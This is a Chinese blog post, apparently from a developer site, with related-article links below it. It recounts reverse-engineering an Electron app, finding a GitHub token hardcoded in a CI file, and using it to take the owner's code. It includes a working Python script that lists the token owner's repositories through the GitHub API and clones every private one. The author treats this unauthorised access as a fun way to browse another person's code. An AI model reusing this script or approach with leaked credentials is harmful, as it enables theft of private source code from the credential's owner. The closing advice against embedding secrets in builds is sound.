背景

今天逆electron程序,解包后看到了一个.github目录,打开后现这个人使用github ci,并且这个人很愚蠢的是把github的token写死到yml文件中了(切记这种是可以直接配置github的secrets参数的)

接着好玩的就来了,写一个脚本直接dump别人所有的代码库,下来品鉴品鉴

# pip install GitPython
import http.client
import json
import git
import osGH_TOKEN = "xxxxxx"conn = http.client.HTTPSConnection("api.github.com")
payload = ''
headers = {'Authorization': 'Basic xxxxxxxxxxx',"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36"
}
conn.request("GET", "/user/repos?per_page=100", payload, headers)
res = conn.getresponse()
data = res.read()
print(data.decode("utf-8"))
repos = json.loads(data.decode("utf-8"))
for repo in repos:print(f"Dumping | {repo['name']} | {repo['private']}")if repo['private'] != True:continuetry:cloneDir = f"./repos/{repo['name']}"os.makedirs(cloneDir)git.Git(cloneDir).clone(f"https://{GH_TOKEN}:x-oauth-basic@github.com/{repo['full_name']}")except Exception as e:print(e)continue

最后简述

  • 在electron打包的时候,一定要注意不要打包一些token等密钥信息了
  • 任何构建平台都用secrets 不要直接写死了,大部分ci平台都支持

记一次逆向拿到github token 然后dump掉别人所有库的相关推荐

  1. GitHub Token的使用

    GitHub Token的使用 问题 本地项目git push到远程仓库 遇到问题: remote: Support for password authentication was removed o ...

  2. 记一次逆向追踪请求ip的经历

    记一次逆向追踪请求ip的经历 事发 应急处理 寻找问题原因 封锁请求进入 定位请求的内网ip 事发 某日下午,部门使用的测试环境出现问题,所有集成测试case都执行失败.查询测试用服务器发现是磁盘已满 ...

  3. 记一次通过c#运用GraphQL调用Github api

    一.Graphql是什么 最近在折腾使用Github api做个微信小程序练练手,本篇文章就是在这个过程中记录. 直接先看下GraphQL的语法风格,感受一下: query {repository(o ...

  4. 记一次逆向破解微信小程序参数签名

    文章目录 前言 小程序逆向 基础知识储备 逆向环境准备 反编译出源码 破解签名算法 源码算法分析 脚本计算签名 插件自动替换 总结 前言 本文首发于 Freebuf 安全社区,未经许可谢绝转载! 在一 ...

  5. 记一次逆向:云视听极光展示NBA模块

    都说温饱思淫欲,但春节回家吃饱喝足之后,我是真的手痒想敲代码啊......于是乎就想找点事干干,恰好发现家里新买的小米电视安装"云视听极光"没有NBA模块(之前家里的长虹电视能展示 ...

  6. github创建本地库后关联远程库

    在进行新项目开发时,有时候并不一定先创建远程库,而是先在本地将项目创建,到一定阶段后再与远程库关联.下面步骤解决本地库与远程库在这种情形. 1. 初始化本地库,既然项目已经创建了,相信这个也已经知道了 ...

  7. 本周Github项目精选:高效CNN推理库、多款AlphaGo实现

    来源:PaperWeekly 本文共1700字,建议阅读6分钟. 本文为你精选近期Github上的高效CNN推理库.多款AlphaGo实现项目等,一起Star和Fork吧- 01 ELF #Faceb ...

  8. 100多个Jupyter精选资源合集!GitHub高赞,包括项目、库、教程等11个方面

    点击上方,选择星标或置顶,不定期资源大放送! 阅读大概需要5分钟 Follow小博主,每天更新前沿干货 作者:乾明 转自:量子位 Jupyter,一个开源的Web应用程序,能在网页页面中直接编写代码. ...

  9. 「可解释ML/3D深度学习等」Github六月最受欢迎的机器学习库来啦

    https://www.toutiao.com/a6706469836307825163/ SHUBHAM SINGH总结了Github上6月份最火的7个项目.这七个项目涵盖可解释性机器学习.3D深度 ...

  10. GitHub上如何删除fork别人的repository

    在Github上如果看到有很不错的项目和作品,一般我们可以进行三种操作:那就是watch,star和fork watch也就是关注该repo的动态 star则类似于Facebook.Twitter和朋 ...

最新文章

  1. 单应性Homograph估计:从传统算法到深度学习
  2. 十九、约束作用及常见约束
  3. 如何定义和实现一个类的成员函数为回调函数
  4. Docker容器(配置+镜像建立及优化+镜像加速器制作)
  5. 如果人民币贬值,对股市会有什么影响?
  6. linux c之access方法介绍
  7. 国行 lg g3 D858 刷 lg g3 D858hk 教程(备忘)
  8. 软件工程质量管理体系要求_软件质量管理| 软件工程
  9. npm 运行报错“Cannot find module ‘@vue/component-compiler-utils/package.json‘”
  10. FPGA中亚稳态相关问题及跨时钟域处理
  11. 超级简单却不知道:html标签的嵌套规则
  12. VBScript编程教程 [上]
  13. 台架控制器-AVL_ISAC学习
  14. 苹果雪豹操作系统正式版_大家一起来聊聊电脑操作系统那些事
  15. 嵌入式开发入门基础篇
  16. 蜂巢网格生态护坡材料,我们一直在努力
  17. tf 矩阵行和列交换_tf矩阵基础
  18. Molecular Plant: 王二涛组及合作者揭示丛枝菌根共生与根瘤共生的协同进化机制...
  19. Update Strategy小记
  20. 自定义控件1_切换按钮

热门文章

  1. .net zero power toole 破解日志
  2. android 权限库EasyPermissions
  3. 颓废了1年+,今天开始勤(tui)奋(fei)啦
  4. Bzoj2535 [Noi2010]Plane 航空管制2
  5. classloader类加载机制
  6. Apache Hadoop 2.4.1完全分布式集群安装
  7. 绝对经典的滑轮新闻显示(javascript+css)
  8. 1、分组选择器, 2、尺寸 (Dimension)属性,3、Display(显示) 与 Visibility(可见性),4、CSS Display - 块和内联元素,5、CSS Position(定位
  9. 5. JavaScript Number 对象
  10. 6. Browser 对象 - Screen 对象(2)